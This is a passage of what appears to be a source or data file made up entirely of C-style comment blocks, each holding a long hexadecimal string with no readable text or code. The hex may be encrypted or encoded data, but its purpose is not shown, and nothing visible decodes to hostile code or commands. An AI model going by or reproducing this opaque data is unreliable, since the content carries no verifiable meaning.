a751b30d140e69604ccbb4dfb6f74*/
/*d92dee1f1a7bf91c48528f480e3cb6f2b37c618ab43554a3a99d9801ef11aa09115742e15b5c226a3894e883f009fd0126fb7323495d4793a9dc6651c5be6695dd07a2028a6ee775075b91e497dd4dd2ad47f270ef6b7455143cd39253508b73c478d690bb3984409c2a34e058c095183fd3b364d97c1b27063e1caa37d4b7711e94e0ecac5012a57fd6d80e0634401e7f91753d55e00f76d6bb3f51a26992d1c652b43be6b6006928bd4f73c5a54873a2931679bd28a6ce1c45c3bdcb20cf48fed28f499018516e7dd2da8660d1f11c5584358214079be48f3bb1c0b194854f9cc7c1add9821dccd321710eea41c641b7fcc6d4c40e7bd31f16c21d342691ff4965caa1b1b2d256ad868a90474a13e8e6f8190496c184e188d4ffd22571c67169d9b835860469d0500f39de5e7481a2deb8170c2b04ffef37318597259b562230ba36dac09f2b86b3b0c0e409dbab96eb4081884594f7fb49e8cb24b438f62cc8457c84918a964d21533f1782879ebd883a24cb666deec42c4fe6d2aea4bccb5c0706e1e659cd19854196500f934fa73cc517f1f4eafb9e8a283053c029392f3473680c5d13de8c5ad051499b9982c8dea21b2dfd1455b7dc5ab1ca1a4ddc598a5f8a34267433ecc9be14f004a1d28c525c8baea843e5a26249b46ca8942f1844d49c36c4b47ae6020791f567aeb42f9aaf14e0f7f2ed46b700353c0fccbbd9c1b29097b9d3938576b7cb801398902ce670485521a21dacc70839a289c95b93a8937dd8648c438cfda9ea904c08024ad36a4ac83530021b66a8655f784a5877cefd926cc77eabce53530a9fc8268a3eff1e098a33ebf7771223e5ad57bd654b61fda4ee8920fe509d7a3a846ef7370b18de47cbc698248114bbc193cafebff92083fa32679afde8f93a02cbd955d155c04bdfda69ba0789dda236bdad017a1a5a470f232e3cb6c4b5143b505248298ef71f5f5aa664dce24c84380b19b416be31deaa711e2b50171163a96a3dc107b0212f9f7a50fca787bfdb1bb28f8c206c8381beba2ff8c1b96c1c021dba215d49d4f9441fd076cc3d8829e7281533ae3ee4cf91f9e373d8a1df2fbed12078ced6731bd10d5b787ce5ca8ce06392a0bfa0705d0795d6ad31d845bee765599f1f21858a8f706fc724690f9dff6df84b2581d1302e0199f434ef0152eefa02aa7c42b5d4c801360849575213a817547cc2c8b3855cb2cf16eafe47a41712a489b3f32162bf5087b9f9fb27023a199829944d8503af42955efda193d4ab8ee9030e13a8b5e4be33c5154c27def5750bca244f410a3ed8e796dec41819658524d88267a0de9d083a62694827bc09d70ceb91395552182a0a087eddc69a45e2b119e36f55a7d873d16b6a678799417d45b4c7f7b0e292f5661c6be4d1c9dde2208075b266f15a4888c73686021a78f2ebfe434640235df5532b6a2df209d126f689d9ce46fb078048e747b4b6411ae3b3af10f8643aa2962cf277ca4a4d18a4bb9d264c51e4e8a46df48c3b41e335d65bdc9e4c240dd960084472c31e7f1a4ac97e5e697813fbca1b3b87299b3e3156a41b80480fb4484bbbad913dd4aeb3eec4c7b0fd39113f4310408e28a6dfd44328534924a6c637727051b56acf594d888f13e85601d14f80f02011badbfeb7c126b60c4e3cc0e4cdc014a533add16e8d7a3581dd00921867e9d75c32cf6fcfbe78e38cdb538b4a7ff805fbe4c9d9dd091e5c6328993838658eb0bc57144efcfc22239587fbe1b48751206edbcdb3355f885eca59d64bae842dfb5f6b98b4d6efcd809c1f8dbe95699a75f9f36b76aadf0aae86d55236419d236dddffd165be23d9d2ac08146bc3c97f8b1abbd0e7e25ba4e0db3f5818c1d994b2479036fa4a865b4a94abcb9a3da7d7e396379168494765856ed0c1971589da439e2ff5746c0b537409ada1d5258dd8f1caa84cc49de44fc5663bc161fa83b1c06c029c7b54986f1e31081950e4f9c737efe9534359e2129dfcb9470d0eefb5d7d6c53477da7bfec3742bf7755cd1924b5ee411aad2fe43950b63e60b1076c76d143046586633e34a49f4682a08b1a897a000ef22a82ea190c2cb2b9019d0a2a2c8caa479a0488d05194375987e797aebd6c77040677d59cb5863866ab764abb4b4b701d62b7b4613d6c48c38c48e442dc2fa978dac6cc69dcac6d2540eedb4ece9e11af91371f3c36d22a1941b32f09d7558c18062e60f88869405da7c65303cffcfa447da9f95c61d81b99a9faed25e42d7934e8e23899677848cabed7dfda39c398c0128b0138cce9c32fb17282cdcc9febb29ffa1988a74159daaa45de54d41a50771607c58135297e49fd442d35ae818691d1f102daafb0a15cb1b742f23411d0f3fde9860fd8cf9cca6dd2d9908b175a108b9134668bd89fa4204ef3b77777a306163189207eaacc7d7e42b9ba4e86b528a6afafa2b617c3f2ec56dd941aad8b423a9388fd2a4dceefb1b806166483cf69042cd687621266f6168890c51197aeb6ee2cf61fa354a670a51e6b4daea08a0cd5ba643d0183dc987aa4186535ec9fcaea1987df6f2f0c3fc64a29d4cb2368d0812290269639f36fb1c2f959d9f31df292c5c2b5da5df1509fae146dcf7be2612867f7fbfeadb35752189d050dba4529b3462a5122e5bcbbff40e4a1149f8d112f6ca5ee028c4edb704a3520cf85414364be4d7ac5e0ee5bcced5f4e171848ee622c4c39c0e06b17c157b999ef6ea38f4121edf47f042b34444cfa07102108b17ee5c74c0200fa1cd7d84abce86d731f0396cc7d711210760d566a877855fe63c7fbfdfff6ac0*/
/*9f1fd7941d33e0e013a06e9e905a51e1e96baffd01130b30df01549ed0b29300237b893d3f014095330965b82a25044284411f304609a638c787a89e0eb0743b0c1b1927b092a1c414686e9c932e9de589324bfe23b3a97ede50c011ff3ebed886c0e6ea67c60509cb9976d77189d4963c5683c01c495b743f27d3d186439d8c70c24afe861768150c9154ae49743bb6c68ed6afe70f5cdecd424b00cfa2e3b5f18b317e335cf8e7d40b162b4fc105e4dca8a8eb66440103c136c76266b215ac263d22a148b706783718fdcd8837b344d121efc3d67937dc425d0b53ea02ebc33ad92880f25260539c97332e48ea845e93612fc2cf8fa741e9e41f4b706e297c5de78efcac54cf6cc2fd62d1c26f469d7165461c715e0144c944d36753a61486adf30ad0789813ec58d1a4b77a7a447eba1c6f51f331614f779a2ec2d864c1cf4cb680fad023ce794d7af980c24a3082854d8d92e01b95dba2e8fe723eee7359e7cd175c51a5fad17e52f49ec52836b94ee8957006030ed1b526bf56b087c58b2f077cf88baf16731fa6af22514b1654475dea33e16b4ccd7132b786ba481b6aecd83fe6804c9089327e6db845e456a9c47589e5e5b7da0681b783170477804915cfda37d03e6be23fd52c7f68578a4810d1bc2bc1f57894a9e9f56c326f4fa361e81132589a0b88f8a828e7004973089e03a58ed9368ac4a08cfcc9876b087e3b1e31746a34d7a62c09c7e951ad71fdeeda4b691d6c4419db79732d55e371a43f6c9ce130d1b5d77cb5e1b35276fffec77802cb5d90cebc812a3451e1944efe3ec9872b876c0558f5ce39524b654be6da8a9a1e194907bce7ea1666f6cb719042d8128c241165572e170610eb15e5b79ed8e4643cb152c68c9270010bf948a5e90649bece15ac4edae33d44047ef151189a07ef4d73aff3a9e391a9a82657a6f263f8245272783bcb54a1723c9dd4d308f8bff38a3da1e9a9bbf50f3b51b01167286d8ca3d858f462aa7bf517839006e23f716c153fd36a08986e2dbf27348128cae0caa8815952d27ae6baa1c03cd3ef5776397258c0c08f20d723f92715502030796b574fd3013b6a43a35a3f46e2221d4e2415f36e18d4929527d36ebb04d7c9f3beeb46ae476ff07f6f8ddb46571dc0421a7f1f13a1be4bb10bb5320f0cdee705cb39d4ae7eecf2ce9f843cadbab733ad3fcd9480cbf2416c5fb262fadb2e07e0b07e2ea3b0dcdb44aec2f52de86f3de2b7aeb463a0a08ede8760007a99f088982545848ae9e4eadc458d653e303dd735b63ba44ba55900f1acd36ab33c4dcf92268b68f5c52dc4f201d4d726f54c8306fedc04b4f86b4f9ed514833950dab8fc6219498cc4b637543ba1c52d2e562b062e3f1015525f819bb8e04cf7b9863d60a8385477fd516385dee7194a836dd2fd9d93593ee8d878b9984da5771345c5436fb124a476b5df9239a64c14d9afec13f736b0730b96785245f17bd76872e56cb4ecae460c3b66407129d4205c0e5182b7cf66d907bf75d119d6ac942b738575b36ed28c4b04fdd0b443099744d2820fed67876b2c7d196470770764e32034a650c76b68ed8a7df4bf5cf7dc68502b33c6a9853a8692804d6ae6afb32f30a46251076381224bbabc321cec37f345646cebf5608416432ac6cb01d7f65aaeb494a0a7a46f94ea6b203042270774a3380c7a435b983119dfef18d9e1bbbfdc928fef46b51afc6210576baed34853b8d38c3809d1d6cd199f83afe50e663626919f048a6c1ca7ffeecacbc6169ecfcbfe5ea27b544497ecb0dd91baf8b75edb2906314171f80ac035bb16c156d318db8f5acf47938917579408922f347dcf32060c6212d7bec33f92837b0f86ce82dfafcd3b2fb0d9c3dad7c929796818b13bef44fab9db0bf88aca501b2cb44108f9ed1a776cdb83a53723f1edcd606abc84d8263021795363dc29fb9ea24b21962806d427f2390d6fd8eff4c7991fd800f089f2feedde3132ff1eda74314b27d714823c4cbfc3dfac55525dadda071e143717a344f67461e15e7198fa28718914a226ccc64ba0ba9994ecb3fb88536fe6593e3e932afff820a1e3576665221c6b5923d537bc54c38331516b502997cb7c3934f6b5108762bdcaab1dc40fa7d22507bbc2baf449d00f1007eeef936aac188c838b7a339984cbeb4fe5a4578ab63c15d127f614af81d2f8a0344706fd0ce2861a6fb9754348921ac31e6c7da97f83294b9ebe00bc5f857df5564ac14857be63a9af7930c33385d77fb636eaa919a0964909654236b5fe1cab2bd23c9ff6b221cd17cb0c52065f9bb7f85771ae15e58daefdf37ed2ea791089ea0a17005566ae88bd5a4c770612cf1a554892dc1a86e7ee5ad60a91caf184af0374a4a17350f9d13caee595ca22f4f991854d095b4a566b193361ce3a69388a2ca83c6c1551c2214ef32a6a334cb251688e879d68c2f5aa3590051af6be33c69de0bdc008b8ba5e7a44c9105cb6e03c872ac045d78c903e3767d7047bddb153c6e8aa2625e629942b6b38009e01dd511ce38be8140f022ac869f225d185b7720fb2a7ad6b7e344e775f8b58fcf47317c4428d9a296f49d549d8020b4eedc9408c8e015293df409828125a773d8bbcf197ec1d3cdf3e1bf39ed45e5dfb7f37bfc19ece6408170d81a3e267fae83c8f28f1f45feb51d49696cfe06437c9a2fbde74796752ccb9d8133dd44c278d7a6f9ef72fc230ff816e39c36ebbece6098711575a456b174b82f0b3ac1575cc1ac6a7496c976f3789f069e910ac5cc24f57999d5cd103ab29512096b92c777487680a05dc65f14f53*/
/*aff656d67980d48b6b49ea8b27c8d79d3bc40077f0ea587c930b9a0d60cafc3f6fbb1052ba0ed4c069ce79455cb01b10dccd63c980fb7d28c7e4742d1cb6620d7537eee427cb95362a624e407406f552c31402164b90349c7bc51f82b7e54aa4d686cb8342f2753a5739588431ec11ad99b740a7b4e71c393ce0dd156c8e52c25a00a756998d657bea8bd415d10ea7891a06d3b4db334ff52ca82fdbaec1cd7b5bab26a6e6272e564467f39ec7a902e60758ceb6e412cf41554325abccd5b3047014c9be12af3a313fadb60a55ebbbb5555f523efbb9a777819e829951204686664cf955e5f3ce8591fd04f92222f02f1ab0a5f70c1f31961c14a7f97f945325d80236037edee722e4e3291ccb912bae6acfc0714a51075fd649d34329920a827099bc3399405dc1b30c1d060295b57425f08c88c73a0f24a18f66715333de44800ecaca056c63d9ebf1518d6c0cea157f2a66e818a4a4545c27222e72b65f2cb204a6a9f89798e1306965c24e63512d8b55115fa4bfcd628071008813bb7aa2aebfcb54171554b542dea84bb07b616bcdb0c31fdee2c239f4acb4957469cdeca1b96b4402167d4d41ff09eaba03e18f482c7ac6064d8e237bb3eb294a23085799f66309a15b6df2e94bbba9db0d0eaa0486f3e3b1ffde43c90cf9b8bb89c2dbb5ca65576e88ca92277e1361418e722505f4712fbba3e66cbc0a25cb73df8879eebd83da28ee95a5792fe640e53ddc4285184db8cabf656a27000941148bf5090a0ec0087e9e47c7443596a44e38d47206b072e151e057cd7d8fbda93be8b7e29455f9d23ee810e27b06b53fd4ad00a107b6ca8d4b8c81d43cd0770456d130e6acca92febc56dcf428e91707d441372d7132f813559e32053353d38b2820f91506c9fee5b043e73274dda7b9d2df0388aec5a590ba98bd4da4e2fc3cc09648d63f11e1aa1ef04da9d271ad1e3bc536d57251735cbbab4db330ccd24a4b0e73b1df88ad9d0a86ef6db7c97c91298bce5f7f4341a39e8440692c6fc0b04d853d6b983cb6561451cd7cf4674b21257135167c17dc47dbf636588988c25f893c8a2476654c3fd8a501754538907ce23b2e880a4d6fb2b11940a50f4a024b450e9a2a0ee8fe02df0a8c01a8dd574a2232138dfccfe64e649db630c00a746c5e9fd53f3b60c72219abfc92b9553c54fa09018cd460f36d4e17b0e27a643b2bea046af06421405c5eddfbd1f9fffadeb156122f13ba572186b30decca3893467746e967a0745a998f39c9c2e88c68dddcf529ac448a92665635a0a7c17e4efdb8b8a92fe51595e45da0ba1be09f42e1ab17df5207b433e93bf816a05e059387a504c4d932bbed5517c736184c0c5f99de885340d58163aeea5c1c6108d620bd457a9a1477808ad0f41a166b363f8bee7b3bfe86f55fbd77f196b9f5250841217fdaf3d923ef44274f3b2ff991e1c19c2e71382249bd4b06b1a3d7d1bf415cdf78ad35a3748cbde000c5765696f57e570ab31006dd843a0da739f5f17b9ff071eb3ba338cbea40e480b115767caec585771905ec2f5c66005382941824a022ab77d022ec4133d5f2c13452e44e9513c83fd9d9fe28fb28305df103fc1487b8652f426fea29f5559c9590d65e2c265a788b4996e9f89ce11d05fb0be63383466cf60d89b599e0e69e7da8b2ec62bfc1cdfd9110453319ebdf4b0665cdc7760ebf210d2d66e645094fb679f3b93cbd061fcb2385c420d6f1783cb1b23157873db13565bfba0d1d7c814ec51a43c505ec5e6abd8940f2b6dc2b5150202438a55ae0efb132e37756d2e6618374f1651b0604019f23d02c6b63a8fe461155a05a046fe69c140344bf7e6a90a2cb1994404221d615c5ac7d92bac3101a6ba035be733dcc0e1c88f8bc73628bbad23d32ffabaed21fd82548679e613d5f19c5645743e0b6afe70af3b7dc71d427c78d00e5d51b324455dfd8ad24c2121d08bb97ff743cfe3a955841dd73872f249cc5eff521670746b448445ae0c7da5ce7fdcf7b7a7b1ba80d1d33d9de0f20f1e2294b852477314eb4cb3ef907d2db01efcd9e015cff1280e7f05c44731e930e34a15e1d3a913ee92ed820081f06ebbeabf1cef56d9565d5de2034f68871a8f80dcab89c749b0ef341f626d089b9b0eed4590a961609d9b174f6a6931a52de639acfde27b2f75fe03e2052eccde104405d79e4c1e144fed7b16741d4e3ade6bb8cb491a0ccdcca06b3abdfc8a3a4d119cc2b4fa3ca750f9ead6b7a52c350c05af58b4570de7d05e20cd4c77cc7e2d205cfee0817e17462a072c3f85926fed93f730fa54a2200dfd3470d83a42dd4a8b2797c6ec3a852d25f9490049042c1e1ced19aa087ee09c80aa02a4608e972982705c53000f1dc4acfc5bd6b596a2d95203332964af55f27931ce4ce37fa2d4746602d9546eddb235c3098e1164bdfb1f9a0053e0885c9944a085a1ce177e9bfa6b9dac26a03dc8087309b7255fe3040d345980db49006691671ec0313afbca4576b10bbec32a0487f5ab66f9a5d50896385bed7384f5d6afd5c9cfd5ede272e3eb4a5409bbae8bb3450cac90543609cc77d6de292f7c7c0689610a21dc3b4d214ba5b62c99edc6fb933fb132d4e9ce72dc4487b80ad3c086088681e1452d3bcc3d0beb49b7c45bfc75e503bf3ecca63563885edc3e2c03d55773b2a493928ae945967f1703e297c953e468272418a54c7b2e08b056f007c53be30abbd8a27c82734dd4e171167723308f2099d4a06b03b7f27faec6a8518b1e19c4917c935a84cbef56a8771e3d1a86896d0d014b73c8da87aab10f3bf11e2d5f0*/
/*bf035f9493c3aee96956d2c98b5592557515ee55eedc40f79f2a43adc305bb4b2d2f56cc1ee014771f2b8d57791c881a0ea0d093c56104c76db5cdb3cc25c51b3293300963316e6b77a04d915ab9aea0b5c30407c038d48f396af47de8fdaf84a83171ce3527e4900ec79db6fdf83816d9c76f90f36e2638e9ac1843685fe1c68837f059423154045ed3b1c879498063c5c3b239e6b7a62dee144e02cc95b9c21cb45582abbbf5fe7494952d189c29e65b9dbe0cd52b83e96b5e38bffbae2dd3991647a20d15dbec2519953b97e41e7c8b9efc67267fa9a714bdb979b5a51c460b34cb08bdfe44c8f75862c2697e2d4495f104144a6ae5e8687f3ac96da24d4e1284cfca849d17e0f57932ba36c1d64cd2badda152b4f40898f6b85f358b3ebee7f7d0b68612f7cd2ceac0d462e0845b637bdf7180f9d20516be478c9217f7341ae915e6f4a4d0bc33c9856f1becc6dc647ac83578cfd25c41c051066d66a2a29e2bea19110578c23c5883d26dd2ce9020902d2d1c639bd4422cdc8b8617a87d61c18e2d03ded066ba57dae727f2d06c02be24dc36091d1aacc4eef52ae018dc2834ffb922d3ad43dcf2516c1c4e18558c54bb7c6f5fe827e18d4ad1417927b2e483b709740642ae2e203800ac5b55d44814b9791a60af478728d0d1c34c1f8b8d7da68330d4f30522673e9b9452d401b1577562b5a7e107b46ed18f28b8c8ff50fb2f85fad1552f6a95565a18b8aae3a91bee9158d8abf06d933c95388ffba6b9133495bfb2e52a01394fbb57a7852d7a8ba82cee49147d8352184e29daf3a3be0a0350cc31537a54679d1b28cbd16b0f9ea1543a05c10a87fae3fe5caabba6073914cf4bcbf5da2b3b564b89b234b3e881a7e823ade89996a31dfc57892e9536679ba27ad54838ff4befd992212931436ffb8d6b237e446d1bdfb12d7684ea21bef5d1ba4651ce4dab99b02e8a8956c41dd7b84ac1f1bc1b1b56632837753fac92ef28303eeec93f919f674de033c4b9f043545462061cb24bc000d1e466cedab6dddc00723ebfef61d407587732aab94ca0f3e81fccbfcb3ca83223a7896d82f1e83a2556a427942e6a60c0220db3ed1a497cad3605195353e4b63bcfbb66b888d2ebec205707baaa3bbb55077a078304a28ef95653913110167886035da572ae162205f67928043bed2a5bed23c2bfa470a1b71de18e804bfadaa73d19a773a36be8c87d9b681d230d45a25b5a2526af4fbde1dd180cb775e8f217a57f5810b5103e8e51291fc6bca012e67c0d1adb1be4211ba9782454758ca025fdcc34e7888b03db9118024b9a04315f2c6abaa941f7f826bd169407aebeb6b279b2ff5183146cc8a5dc63c4d8c626caa16b0f43bae952bbd88e13b99954939cfbce1263f201f93c6b78d88843a1d5331a04076926c006b0d43498fbf3198b0e18e2476e4a722bf5f224e869d3f63071bff5e69117edc79b6b49aa641470ed362daba56f32b7d55322cb3d4cb44d6e9611dc6b45ae713e867854ce2993f4930ef309e02de80faee7d28ee134e2d8c89eafae02f7468f5d81b5e675338b37020794978f55f5a81882f9f3d59648a769b079e93c75122f3abdcbcfc82623cc8ec8943fb9481c5042dfa886008c47451b5581b1cdd7d62a11dfcac9bab6b7d1a41fb54d7dfa3c5f68f9e934c384ab61a56e88b83a79e3ab34966f0c177e36f8867c4b67539a5bb056b0d31f94da5fb2359a603bbafc7a3066c7670d9c0815ebfa9c898706d7cb1d87e6782c3a58ac068020549272c2c8eecd441c2b03dec0a0edc1d7acdb549943a06d0f14cdb7092f144e4ce470721207474dc4226326cf7c64f4288f066fff3ff06aad2020e08e773a7b3c2372963dadbb6eaa506c4e8b1057442c6fb079d4e726e151e1ab9dd40482ba9b868bef13cefd9ce082f3cc4e3f4ec1d791da6aedf417d247f421e97b089c4536574a0594929765bf8f8f69355290e133599f0277d4e4ffc82dc5cf50ce094110510db4d33e6244a2d6c19374fd1f12767a878ec433280dfb237a903dc6f3a4c163dd1f1accfba9255da7dcb4deb953e863fee0c72c3024ddd876185e469ed7948de0cda1527fca194f830128088a7b515cda627ef7ce7957a8a0cbf578c13285c0210a31a31bfac6ab9c1b7faa3d7dffd007651acf43407edcab37c3394e990b4d0fbdfddedc0fc120d191d6d80c2cf75f3c757e3ec2c5be955e57f6da1d4a12fc104639eb0757a1f273386fb472b89d51951a73471a30b2910e11dbd007dbc7396b76a7f830f3b2b92da9bd86885e1b6c4987a15d9dfc6a282e91174f8b39b6c18a2a01a191fc789510323bdd8130bcde02967f066a8f9a1ee6a13cef04e69f1fe1973078a9225c16f4ec3916f4e27a1d6eb4b74375d18ce6694517e9ab34c31bea39a43a02571848dcfcdf28d98bbc2d9a29bc1f58310cdc641bed379629571f582baaa90fea2f0a9fc4978ac6c49bff1ef6fec38a70808829ba187c5fe39d01a468fc3cf38050a10675aee45aa98f2d7c5d98b2642de22ebd8a1a72201211e3b1fa21dfe5d53060b426aec4a50fe79fa064d611a4ab990bb60dd0be20d16277950692efd316d76a58e3e464216d0e2cce624aee076cedb369f0f370a320ea152a16ab8bc5495f4288b27e9b7e5d0fbb171dc674181b90f1bff09982170a17b08d21c944fec1546d24cf60ec97f6fb944bdc151a4d298bc36c4c3b4edc326954b7bb7af3268d9bc8ee787829cd588df4ad9d0855620edcd4e41a6910906e05226a348ab23be1803e54c89e2b914ce6e38bd8b39167fd0f3a65de9f2f0d5eaf5808*/
/*27b6b4e52c7409d8aa349e3079c3980ac3b532d35177f326d9c401d787ec6c45bec0bddd02a77a5371b88a0f5c6b1c453e19ba3b0da2a4c03cf784ce3a36607dfb65d58c4ac5eb2cf7bc5594ff0bb9e12ea7cf932deb23d2cce40c5b807185eb48adb434836db62d4458b031f6bac7268244afc6fae6f9b816e7f91bbe2afc1fceb9fa53a6cd6b3d86c523bf309278aef88acf1b5dde5e47f85e7d126881ebe791c84430cba5f47c9e90c001bb500b248dc6626a4cfb22f9477b6259f2c6cf8926bd1462f500724cafb330472413842c92792280dba154f35a58f529fd5fbe3da245a17a678c7d452b354af09f57daa40966d2173946f6f896dbbe526b297e5faeb9bbfc659656c9df42045423ec8d94d7edd9920fdc791744973731ab9555e6a7e6a6aa4044fdd1358cc6fb513e38ec4c871fd19acf6c8f74c31d2a7b71e2dca97ac821499b53114fc4db06a2f25de03c5db390c19c0789e568b5cacca1646e5972b5418d56fc9b7e30af2c2c4eee675b0465af110b7f84aef1c1d1b80f824a1ca7b21ba5b32887edc9ef90ea0570add08ea3a802d9a07187de942afebc806f2dc1fc63b3a9258f69f24600a67839bfd0a0818a29ff2478f1a534f38c545eab125c961750a2d4474797dee261519aa06e1d3dfd8e0b4df48860aea3d31991c2156ba0716862baa46a5f9214fb10f071f05a786306eadaf50b2446d48b011adcd38a50463ed9228756adc8a7ff91101ec39f5bfb824d7f8a663a34c42b9f03b23981e3e7fe408ece62c425e0c7d3a6be753b4eb3dcc7ff2209cf9bc9414da93962ba9e3c86eddbdedbf0e14f54fa80cae14d764a35c9e28d60b4c1c3df4170729d879e476d6ebde688e0f64cc5a3f6ce93dea829febdd4119b5ac98a8f74afc929ee9e188bc4ec90b55e26b2794f6f4f22b642b739e9c7691ae1af5fe89f7b8a238addd9e6cd5090603217af17cef5e34bc6e33cd98690bbf611ba50d4c1fc3db4e29c2a42713aa69472764d71c85a619e03c499387eb1ed0e540b342cc17eb970fa68fd8cc90ea348cfa73f990f4257e68b21c4f1f3e51591d447da472b4a69a29fbd2d230eac952e8cd5a5967fafea56a789608ac77b448832f1784ec8b5cf5b8c52b86ed9d6a774069f728c72fdf8114a281acdd330dd0fa282b2e27d8e4facf1d9bdba51091301680c9693bd644b0c31b3c4b71fcc7214271ec009e148be8919b5f1962a95019996624df790cec384104186f8975f93251ec8ae1b16e52ec89f157f89f2ba44e7ad9031266ef1afc278b2d270ef27ff0068ccc9acf9e3593e6f641aee411012d407419baadd92f6323bc1ada8995a6855023a563f655e39bf57be22cbc16bec97bf08b20972e19321b21fe51c4bceeea5463927ee9eda1ae2ca8b00ad38bfc123f1aa2bc460aa1ef8afde27a0476dc01a6733871db0ec6222c64e7e9fb048f470dc9e85b9f032a76b44a86206c04f7d83712abab8dec5983965817780a043948ab50eff6c1106287d662f6a1c4fdbc87343f3df8891bd9b9c8cd437cfbdb5f2701b749b058a7d817931c013fc8d83bfa37c8d535d7e1f4a77586104ed650ea2d200b94604fffa775794bab971ccfdb37122bdc6150e713a563558a5e8d2baa1062bc064e9d65ea85415e7752af125d4e22235375f31c27130f1a8d5a59930432c84b03740c6c9853acaac5fd58dba94c86f63a0a61932db85dae8e6d89f46eaa18cadba506a36955d03a8ce38fbc3f3828a650ff54a05cc5d136209860e8a2428121f44153170f2fd50b990dabfa06c15b04f9e6d4cb7c7be0fd373b90319c2431d7a5f9da68194182ecea5d199be80a1acda5715f1921bbc1bd665fe2d1a76774420877d9142195f0ec07443a921c6f365a6ecb321a30172bdd3efc4f906f52b363ee642551003bdb479433a4c6c76f20f99cf4ac628580ac53e6c307d6ed43e1bdb5f9a2f9e823b1e72eb1bcecd91ad2dd5ba1fcf5d9acccef4b98cc0c13aa9e8a726faa733cbf6ad9a7dd03f61300a09e18b1e3c5df31dbc048e3df73088f0f8ef7ba6cdf5c85af85d90fe5478412f9e06ca5433781d9fa70ac1fd7dbaa63a98b53a4940bf07fc6744c27bb3cf7a25f04d5de001d1c63ee62654ab4c7cc860797270e13c22622b846cf3ca6950bb3a9d180e63c0fb7b93c4a55f494cda7c6988f468174131672a1767a7e6a6d5ad54d1eae487b3fa6905115d3e48d289405550a0a5594d9d747aa8ab721260970505e5c9ec1a7d1dc3476b64a093df48bc9f26b48615a090bff0076ea1817c72ef49d03197701ae7001de6447a149e744f6360bd90013540c82f0f6a40be3123101b2b62c2e0846259d3fc22f1bc442d4d1d05620bd21b74a48dfb462afb819c011e3e1d86062feb5bc6b40720fba550e89122c521602a5c942fa54fe28d8d08868e1dd5e347df3e61eca0321ef5fa52406d2e8ac145cc4b054f50294bba4331002c73044783359341d0d3d9d313265670a21a05c5538ddc58ccf10d7c6d7ae1201f0b1f63296328ab545bcdec6b496e1b96cfe6e859218b49227ffc4c32437ca2fd05bfeab00d2b4b08bb367d846b07d8462048544fab49a434369d3f201180401038944d16ce76fad85c280f40699c8e9e0c81580130532a1152cb4e5bd03fbff4bca3b678056ec3ecabb25e978eb7d68ee4c20061b6684e38150e1574062488a6193811b30824102756e32e619456769808296cddfafbb0ea26b7fe603db08e9722dbd31241e42c0f39d1a28c0e6136af23b9e6ab7d91f8fed70d90aa6101ca3ba87edd97d90f0700794b30b221ee5f1b5d82b589b86830*/
/*0b8f9f7a9b45e69e1b57bd8d807322ba6375754e141bda4265bae31c09990c968dee7a6f58e450ebbd83bcb8b7d4cf42791513ea36e46a5b73d1daf0c712ee5ae01f6dba9732929ae3b6975d0f8578c65fda2e18e7e82669bf68b08032e6393b47e97eca752530977bc5040fc69263810c8b881908783fb19834f3deb7d2fb6452103c5c2a41b6b94511651db66408e51690dfff196f29728016f03758dfcbe6fc38f300b401b7b7708decb35fdcc7b41166e4323f31e9d28da4461e635262c4a41d354a0b4dd38f9bec201734300756283134316ed2dde536ea3262f72dbc96e1acdbd4c46306cdd09af6c7035a973c50825d701d6c618163914687d47c16ccfea5f0611d2758745bd885e38fb3eb5681ae5a931b6fba46289622acad775d617b6ed57d0f81354ea693046b81c3c11950d6104e7407fb8e66cb2ebcb389a535bf3f08f7ae37a1d700c2bf3cb4e35f520b0b258d35f1728a8aafe4fa3ac03b0c344085a66497a4f6a46b7dcde304b9b0a3786f134557747afa53e6645984f3e588b9ce583dd63e00a848a2af4b11a3dab80ff1bebca8c3b5ee15738872c8d3d52e22c1d2af86747ddca3a9d2cc12b4632bb30f8d718b24fb76ca54221ffecad8ea5cf284da9a16b46c1a1334a95ef440ecf1cd6a8f6fe83081a2db936415d2cac4044f7b8d7d844210e5182cda67932a8511d02a9c94b38717db5a86f4b47e537e5c0c0283a38f5026d10a482592c79b089907700b6b54b77f7b7f57cd19dbc284816e9a5eca810748f7b9708ec5656030547c00fa7bb84ebf816bb181bc3d173a18d61ef1d10adb055d15893dbe19ad8de4c011bc69efcc73d213ebe1759ddda212b1b1a649f17c8d3c1a6d85571635099ec81adcf24217ba021e784888bc61a8d9667fca94dcd991014c7dae6fc1282bf119a3fccb86e8368444602068370fc0109418fa1c9383d11374833238fe6f93d0b04e406b57ea1080ac1828fad727c6342cb8652a1fbb6979d5d16af139109fb447016549404482c697bcbceaf763bc7729f1416927698113c8bbe7a07300aeec16bf86a31f3e5655835114588b390bc1913abc4ed0a5b623029d0a976319cce3d035c67a731f5e98a46a6ca45290d7a2d1a9af343f503d1a0fa9be31e428157d6dd627ce163bd922c83196f7d81721130d9e7a6d9e412bcf31e493d28793ca311049167cd17f85c45feb742f16a30e14c64c86be960b65f622e4bfbaaf66e15011ed6c5f37b5f60ae5d13c792dc545617956139a2354db02e7b880c13ceb222cfd28867e91b4f0bfe08eb836520e3fcf9c1da047f404b64a69b10331d6116015ae9da4c3cb6366726a91ee0ec4d7fda0586aade2be2439b112a30a905e0b206f3e290efc29cd8a742e5aa4486dfcca49d06c1f9f6226575d0f69c954de6eaa945d9259daa80ed9d2026236bb4dacc45e0f7f7c5a744084776277bfdbda0fe70d7a626a20876368114b6e7580cf242657f62c59deb7ed8186392ddb8b7ba308dcadce0c44f13a155effa52a93dcd1c7e286810b463f6726520da0c25bf8edc9dfd0fccf987ae4f64b367370b1c58636eea5e596854f431bc9d226a1a499f4a877a22e5fab4a36777cdeb255947c3dbcc3ccadf6eebdeef1e1f507c79bc2cdb4d924b7b7ff6d0f5a20334182230f775c325ef2523fca2f2a493fa496e112757e7d5ed6bce562985daf125c8bc948c8a801390e7db5b621b8dd8ceac1bd5730ded29e868c968a19d41da3dd70ec9bacf20de9e0a3b2a1d7e0b2edfb8b45532ace2275fd2faf76ca2208def6ea0ff8fcaf7372123936bb12c62c1d3e273953820bc9286c9cbb7aab7f05fe246fa680ba10b22213bca4edc0f71432720a9815ca0f7e6b8c8988504065caef440e7be1f62a829bf827c04d8b558c8ba94cff3bd3b45bfc4b9473dd9b0c26ab62a6ef3516bd4e67993d821a745ec069a6d569a0b3d8fbfb796c84cfc172d30481dea09e2695d039c3591c21fedaf66b75214180fd2f5d9cd024234d4d6ad773ab7d9928f7222f31296cdf34f2f368cba33e3f7be8e17e8e5d9914a178c84d9fc177b05719cbcda0349523be09a296a8e7b7cdd466b4f0952bb38f94deb032870d5daba77e6cbdc553d7438e61a256037ff4971a2beadf1de96939ebf795844